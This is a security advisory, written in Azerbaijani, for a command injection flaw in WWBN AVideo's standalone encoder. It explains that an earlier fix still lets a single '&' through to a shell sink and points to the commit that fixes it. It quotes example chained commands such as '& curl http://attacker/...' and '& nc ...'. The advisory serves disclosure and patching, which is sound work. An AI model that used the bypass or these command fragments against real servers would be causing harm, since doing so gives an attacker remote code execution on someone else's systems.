CVE-2026-55173

WWBN AVideo açıq mənbəli video platformasıdır. Versiya 29.0 və daha aşağı versiyalar əməliyyat sistemi əmrinin inyeksiyasına qarşı həssas olaraq qalır, çünki CVE-2026-33482 üçün tətbiq edilən düzəliş natamam idi və hələ də tək & (shell arxa plan operatoru) simvolunu neytrallaşdırmır. CVE-2026-33482-də qeyd edilmişdi ki, sanitizeFFmpegCommand() (plugin/API/standAlone/functions.php) funksiyası $(...) əmr əvəzetməsini silməkdə uğursuz oldu və bu da execAsync() sh -c sink-ində ƏS əmrinin inyeksiyasına şərait yaratdı. Düzəliş (commit 25c8ab90) qadağan olunmuş simvollar siyahısına $, (, ), {, }, \n, \r simvollarını və str_replace('&&', '', ...) funksiyasını əlavə etdi, lakin tək & simvolunu nəzərə almadı. ffmpeg.json.php faylı əmri _decryptString(getInput('codeToExecEncrypted')) vasitəsilə qurur. Bu, orijinal bildirişdə qəbul edilmiş eyni təhdid modelidir ("valid şifrələnmiş yük hazırlaya bilən hücumçu müstəqil enkoder serverində ixtiyari əmrlərin icrasını həyata keçirə bilər") və eyni CVSS bazasıdır (AV:N/AC:H/PR:N). Çoxlu sayda & ilə ayrılmış əmrlər zəncirlənə bilər (məsələn, yükləmə + icra). Yönləndirmə əsaslı yüklər > simvolunun silinməsi ilə bloklanır, lakin əmrlərin icrası (məsələn, & curl http://attacker/..., & nc ..., faylın yerləşdirilməsi/işlədilməsi) bloklanmır. Bu problem bu commit ilə düzəldilmişdir: https://github.com/WWBN/AVideo/commit/c1cfa2bea8a351a1d07f5758f82887403e3abf1f.